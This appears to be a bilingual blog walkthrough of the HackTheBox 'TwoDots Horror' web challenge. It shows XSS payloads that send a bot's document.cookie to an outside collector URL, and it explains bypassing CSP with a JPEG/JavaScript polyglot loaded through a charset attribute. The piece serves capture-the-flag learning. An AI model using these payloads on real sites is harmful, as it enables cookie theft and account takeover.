본문 바로가기
HACKING_GAME/WEB

HacktheBox#12 TwoDots Horror

by asdf12345 2022. 3. 23.

HacktheBox TwoDots Horror   싶으신가요?

Do you want to solve HacktheBox TwoDots Horror ?

 

[ HacktheBox#12 TwoDots Horror ]

Content of List

1. Flag 접근 경로 확인

2. 문제 풀이

3. 대응 방안

 

1) Flag 접근 경로 확인

기능 파악 : 웹페이지에 접근하여 4개의 Input 존재함을 확인(로그인, 회원가입, 글작성, 이미지 업로드)

service analysis : I checked 4 Inputs on this web page.(Login, Join, posting, Upload Image) 

Flag 관련 로직 파악 : 플래그(HTB{})는 글 제출 API가 호출될 경우, 이용됨

Logic about the flag analysis : If I post text, bot with cookies that is flag value will view my text(xss). 

서비스 이용자가 글을 작성하면, flag 값을 쿠키를 가진 bot이 /review 경로에 접근 후 제출한 글을 읽음.

After User post text, bot having cookie that is flag value will access URL(/review) and read my text.

2) 문제 풀이

2) Exploit

글 작성란에 XSS 유발 코드를 삽입해 bot의 cookie값 읽기 시도

I injected XSS code for reading bot's cookie.

<script>window.location.href="https://eo3pgcga8tl25qj.m.pipedream.net?c="+document.cookie;</script>
<script src="https://eo3pgcga8tl25qj.m.pipedream.net?c="/>

but, CSP 정책으로 인해 서비스 내 content들의 출처를 동일한 도메인으로 제한함

but, It's not works because of Content Security Policy that restrict web content source.

이미지를 읽어와서 변경한다? -> javascript 필요

After trying bypass tricks, I realized that I have to use another Exploit vector because I need javascript code what I write on this web content.

xxx/*\x00\x00*/=1;alert(1); javascript 코드 실행 가능하므로, jpg 를 변경하여 script 삽입.

If I run this code(xxx/*\x00\x00*/=1;alert(1);), It will work. so, I injected script on image file by changing image files binary.

허나 바이트만 맞추고 업로드 할 경우, 에러 발생함. 로그를 남겨 어떤 코드에서 에러 발생하는 지 확인해보니, 패키지에서 발생함.

but I upload the image file injected XSS Code, It occurs error. 

After I checked codes, I realize that "image-size" and "is-jpg" packages verify an image format.

 

image-size 패키지와 is-jpg패키지 내용들을 맞춰서 jpg 내용을 조작한 후, 업로드 

so I fixed image binary for "image-size" and "is-jpg" packages.

but It occur error;(

엔코딩 관련 문제로 인해, 에러가 발생하고 script charset 속성을 이용해 encoding 형식을 변경 해줄수 있다.

I can change Encoding format by using charset property.

charset="ISO-8859-1"

플래그 획득 

Get Flag by using image file that I injected XSS and uploaded on victim's web site and XSS.

</p><script src="/api/avatar/test" charset="ISO-8859-1" />

 

3. 대응방안

CSP 정책 + XSS 유발 구문에 대한 HTML Entity Encoding 적용

 

'HACKING_GAME > WEB' 카테고리의 다른 글

HTB#13 Bashed  (0) 2022.06.15
HacktheBox#11 Breaking Grad  (0) 2022.02.09
HacktheBox#10 AbuseHumanDB  (0) 2022.01.28
hackthebox#9 Diogenes Rage  (0) 2022.01.18
hackthebox#7 nginxatsu  (0) 2022.01.10